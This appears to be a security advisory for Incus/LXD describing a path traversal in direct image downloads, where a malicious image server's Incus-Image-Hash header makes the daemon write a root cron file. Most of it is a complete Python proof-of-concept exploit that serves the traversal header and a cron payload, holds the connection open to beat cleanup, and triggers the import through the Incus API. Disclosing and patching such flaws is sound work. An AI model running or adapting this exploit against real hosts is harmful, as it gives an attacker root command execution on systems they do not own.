LXD has arbitrary file write on client due to trusted image hash

Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x

Summary

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.

Details

• cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server.
• cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.
• cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).
• cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file.
• cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated.
• cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause the arbitrary file write.

Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload

PoC

The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.

For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts
the `Incus-Image-Hash` header as the expected fingerprint. The direct download
path then creates `/var/lib/incus/images/<hash>` before validating that the hash
is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the
image directory.

Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP
server, returns a traversal hash pointing at cron, streams the cron payload, and
keeps the response open so the daemon-side cleanup does not immediately remove
the file.
"""

from __future__ import annotations

import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any


DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"


class UnixHTTPConnection(http.client.HTTPConnection):
    def __init__(self, socket_path: str, timeout: int = 120):
        super().__init__("incus", timeout=timeout)
        self.socket_path = socket_path

    def connect(self) -> None:
        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        sock.settimeout(self.timeout)
        sock.connect(self.socket_path)
        self.sock = sock


class RCEHTTPServer(ThreadingHTTPServer):
    hash_path: str
    advertise_url: str
    payload: bytes
    hold_seconds: int
    payload_requested: threading.Event


class DirectImageHandler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    server_version = "direct-image-rce/1.0"

    def log_message(self, fmt: str, *args: Any) -> None:
        print(f"[http] {self.address_string()} - {fmt % args}", flush=True)

    def do_HEAD(self) -> None:
        if self.path != "/stage":
            self.send_error(404)
            return

        srv = self.server
        assert isinstance(srv, RCEHTTPServer)
        self.send_response(200)
        self.send_header("Incus-Image-Hash", srv.hash_path)
        self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
        self.send_header("Connection", "close")
        self.end_headers()

    def do_GET(self) -> None:
        if self.path != "/payload":
            self.send_error(404)
            return

        srv = self.server
        assert isinstance(srv, RCEHTTPServer)
        srv.payload_requested.set()

        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(srv.payload)
        self.wfile.flush()
        print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
        time.sleep(srv.hold_seconds)
        self.close_connection = True


def quote(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
    if args.insecure:
        ctx = ssl._create_unverified_context()
    else:
        ctx = ssl.create_default_context(cafile=args.cacert)

    if args.cert:
        ctx.load_cert_chain(args.cert, args.key)

    return ctx


def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
    if args.url:
        parsed = urllib.parse.urlparse(args.url)
        if parsed.scheme != "https":
            raise ValueError("--url must use https")

        return http.client.HTTPSConnection(
            parsed.hostname,
            parsed.port or 8443,
            timeout=args.timeout,
            context=tls_context(args),
        )

    return UnixHTTPConnection(args.socket, timeout=args.timeout)


def request_json(
    args: argparse.Namespace,
    method: str,
    path: str,
    obj: dict[str, Any] | None,
    allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
    body = None if obj is None else json.dumps(obj).encode("utf-8")
    headers = {"Host": "incus"}
    if body is not None:
        headers["Content-Type"] = "application/json"

    conn = connection(args)
    conn.request(method, path, body=body, headers=headers)
    resp = conn.getresponse()
    raw = resp.read()
    conn.close()

    try:
        data = json.loads(raw) if raw else {}
    except json.JSONDecodeError:
        data = {"raw": raw.decode("utf-8", "replace")}

    if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
        raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")

    return resp.status, data


def images_path(project: str) -> str:
    return "/1.0/images?project=" + quote(project)


def cron_payload(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")


def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
    return {
        "source": {
            "type": "url",
            "url": project_url.rstrip("/") + "/stage",
        },
        "public": public,
    }


def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
    server.hash_path = args.hash_path
    server.advertise_url = args.advertise_url
    server.payload = payload
    server.hold_seconds = args.hold_seconds
    server.payload_requested = threading.Event()

    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main() -> int:
    parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
    parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
    parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
    parser.add_argument("--cert", help="client certificate for remote Incus")
    parser.add_argument("--key", help="client private key for remote Incus")
    parser.add_argument("--cacert", help="CA certificate for remote Incus")
    parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
    parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
    parser.add_argument("--project", default="default", help="project used for image import")
    parser.add_argument("--public", action="store_true", help="mark imported image public")
    parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
    parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
    parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
    parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
    parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
    parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
    parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
    parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
    args = parser.parse_args()

    if bool(args.cert) != bool(args.key):
        parser.error("--cert and --key must be supplied together")
    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
        parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")

    payload = cron_payload(args.command)
    trigger_body = image_url_body(args.advertise_url, args.public)

    print("[*] exploit primitive: direct image URL unvalidated hash path host write")
    print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
    print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
    print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
    print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
    print(f"[*] cron payload: {payload.decode().rstrip()}")
    print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")

    if not args.execute_trigger:
        print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
        return 0

    server = start_server(args, payload)
    print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")

    status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
    print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")

    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
        print("[*] daemon requested payload; cron file should exist until the held response is released")
    else:
        print("[!] daemon did not request payload within the wait window")

    print("[*] leaving HTTP server active for the remaining hold window")
    time.sleep(max(0, args.hold_seconds - 30))
    server.shutdown()
    server.server_close()
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)

Impact

An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.